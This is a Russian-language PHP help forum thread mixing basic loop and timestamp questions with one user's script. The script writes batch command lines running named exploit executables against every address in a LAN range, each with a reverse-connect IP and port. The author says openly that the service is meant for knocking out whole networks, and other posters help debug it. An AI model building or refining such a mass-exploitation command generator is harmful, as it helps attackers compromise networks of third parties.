PHP: <?php $start = 1; $end = 5; for($i=$start;$i<$end;$i++) { $array[$i] = $i; } print_r($array); ?> повторяет цикл только 4ре раза =( как сделать 5 ? =)
Попробуй PHP: <?php $start = 1; $end = 6; for($i=$start;$i<$end;$i++) { $array[$i] = $i; } print_r($array); ?> если не пройдет то я заброшу пхп
Или просто изменить for(...) на PHP: for($i=$start;$i<=$end;$i++) { теперь будет точный диапазон от $start до $end
PHP: <? $p0 = '0'; //Параметр 0 $p1 = '1'; //Параметр 1 $p2 = '2'; //Параметр 2 $start = $HTTP_POST_VARS['ip']; //конечный ип 1 например "18" $end = $HTTP_POST_VARS['ip3']; //конечный ип 2 например "40" $ip = $HTTP_POST_VARS['lan']; //вся сеть например "192.168.1." $myip = $HTTP_POST_VARS['myip']; //Ип адресс для обратного конекта $port = $HTTP_POST_VARS['port']; //Порт на который будет произведен конект $ex = $HTTP_POST_VARS['ex']; //название експлоита 0 $ex1 = $HTTP_POST_VARS['ex1']; //название експлоита 1 $ex2 = $HTTP_POST_VARS['ex2']; //название експлоита 2 $file = $HTTP_POST_VARS['file']; //Путь до файла $probel = " "; $send = " "; $fh = fopen($file, "a+"); //Открытие файла //------------------ Первый сплоит ------------ for($i=$start;$i<$end;$i++) //Строка 1 $content = $ex.$probel.$p0.$probel.$ip.$i.$probel.$port.$probel.$myip.$send; $ok = fwrite($fh, $content); //Строка 2 $content = $ex.$probel.$p1.$probel.$ip.$i.$probel.$port.$probel.$myip.$send; $ok = fwrite($fh, $content); //Строка 3 $content = $ex.$probel.$p2.$probel.$ip.$i.$probel.$port.$probel.$myip.$send.$send; $ok = fwrite($fh, $content); //------------------ Второй сплоит ------------ //Строка 1 $content = $ex1.$probel.$p0.$probel.$ip.$i.$probel.$port.$probel.$myip.$send; $ok = fwrite($fh, $content); //Строка 2 $content = $ex1.$probel.$p1.$probel.$ip.$i.$probel.$port.$probel.$myip.$send; $ok = fwrite($fh, $content); //Строка 3 $content = $ex1.$probel.$p2.$probel.$ip.$i.$probel.$port.$probel.$myip.$send.$send; $ok = fwrite($fh, $content); //------------------ Третий сплоит ------------ //Строка 1 $content = $ex2.$probel.$p0.$probel.$ip.$i.$probel.$port.$probel.$myip.$send; $ok = fwrite($fh, $content); //Строка 2 $content = $ex2.$probel.$p1.$probel.$ip.$i.$probel.$port.$probel.$myip.$send; $ok = fwrite($fh, $content); //Строка 3 $content = $ex2.$probel.$p2.$probel.$ip.$i.$probel.$port.$probel.$myip.$send.$send; $ok = fwrite($fh, $content); { $array[$i] = $i; } ?> вывод получается не полностью получается только Code: ex.exe 0 192.168.1.4 40 192.168.1.2 ex.exe 1 192.168.1.5 40 192.168.1.2 ex.exe 2 192.168.1.5 40 192.168.1.2 ex1.exe 0 192.168.1.5 40 192.168.1.2 ex1.exe 1 192.168.1.5 40 192.168.1.2 ex1.exe 2 192.168.1.5 40 192.168.1.2 ex2.exe 0 192.168.1.5 40 192.168.1.2 ex2.exe 1 192.168.1.5 40 192.168.1.2 ex2.exe 2 192.168.1.5 40 192.168.1.2 т.е. видно только последние параметры диапазона 4ку в одной строке и 5ку в остальных че я опять сделал не так?)))
Ппц тока ща обратил внимание =\ PHP: for($i=$start;$i<=$end;$i++) После этого поставь { а тут убери перед $array; PHP: { $array[$i] = $i; } и желательно дописывать "\r\n" чтобы переводил на новую строчку в файле, если необходимо конечно =\ PHP: $ok = fwrite($fh, $content."\r\n"); и всякие $probel'Ы просто убивают. PHP сквозь слезы выполнняет скрипт. А вообще код можно значительно сократить до пары строчек объявления переменных и 1 циклом
Вопрос как написать такой скрипт: В базе лежит время в секундах от эпохи unix (что-то вроде 1260186641) надо сравнить это время с текущим и показать результат в минутах (типа сколько ждёт) если больше 99 минут, заменяем словом "долго"
PHP: <?php $now_date = '1260186641'; $now_date_2 = time(); $a = ($now_date_2 - $now_date) / 60; if(intval($a) >= 99) { echo 'Много, а точнее: '.intval($a).' минут(ы)<br>'; echo 'Либо по нормальному разница в <b>'.date('H:i:s',$now_date_2 - $now_date).'</b>'; } ?> Вывод:
$content = $HTTP_POST_VARS[content]; не получает переменные как $test.$test2.$test3 а получает как "$test.$test2.$test3" можно какнить это поправить?
$content = $_POST['content']; таже история на выводе также $ex.$probel.$param.$ip.$i.$probel.$port.$probel.$myip а не их значения
если правильно понял что надо: PHP: $par=explode('.',str_replace('$','',$_POST['content'])); $c=count($par); for($i=0,$content='';$i<$c;$i++) $content.=$_POST[$par[$i]];
типа того, только for($i=0,$content='';$i<$c;$i++) $content.=$_POST[$par[$i]]; мне не нужен цикл И не все переменные выводятся, я как понял этот скрипт что то заменяет и обрезает. Он еще и переменные режет получается ex.exe0140192.168.1.2 PHP: <? $param = $HTTP_POST_VARS['param']; $start = $HTTP_POST_VARS['ip']; //конечный ип 1 например "18" $end = $HTTP_POST_VARS['ip3']; //конечный ип 2 например "40" $ip = $HTTP_POST_VARS['lan']; //вся сеть например "192.168.1." $myip = $HTTP_POST_VARS['myip']; //Ип адресс для обратного конекта $port = $HTTP_POST_VARS['port']; //Порт на который будет произведен конект $ex = $HTTP_POST_VARS['ex']; //название експлоита 0 $ex1 = $HTTP_POST_VARS['ex1']; //название експлоита 1 $ex2 = $HTTP_POST_VARS['ex2']; //название експлоита 2 $file = $HTTP_POST_VARS['file']; //Путь до файла $probel = " "; $send = " "; $fh = fopen($file, "a+"); //Открытие файла $content = $_POST['content']; for($i=$start;$i<=$end;$i++) { $ip = $ip.$i; $ok = fwrite($fh, $content.$send); $array[$i] = $i; } ?> вот полностью код к которому надо это приспособить =)
Я тебя абсолютно не понимаю =\ Предположим ты передаешь скрипту content = "21.Паша.Врач"; и хочешь чтобы 21, Паша, Врач Заносились в соответсвующие переменные. Вот код: PHP: $content = "21.Паша.Врач"; //$_POST['content'] $vars = explode(".",$content); $vozrast = $vars[0]; $name = $vars[1]; $job = $vars[2]; echo $name." : ".$vozrast." : ".$job; Естественно, ты передаешь параметры с разделителем - . (точка) и там же передаешь IP адрес, где присутвует точка и поэтому все режется =\ Или спользуй другой разделитель, или объъясни конкретно, чего ты хочешь. У тебя был нормальный рабочий вариант, нужно лишь было чутка доработать, а ты зачем начал принимать входящие данные (как я понял) одной строкой =\
да вариант рабочий и так есть, я просто делаю как бы онлайн сервис который будет генерировать список ип адрессов по диапазону и сразу приписывать запросы к ним, это удобно когда хочешь например завалить целую сеть, и я хочу чтоб пользователь сам мог выберать как формировать запрос $ex.$probel.$param.$ip.$i.$probel.$port.$probel.$myip $ex.$probel.$ip.$i.$probel.$port как человеку нужно для этого и нужны всякие пробелы =) и на главной странице конечно же есть <input type="text" name="content" value="$ex.$probel.$param.$ip.$i.$probel.$port.$probel.$myip" />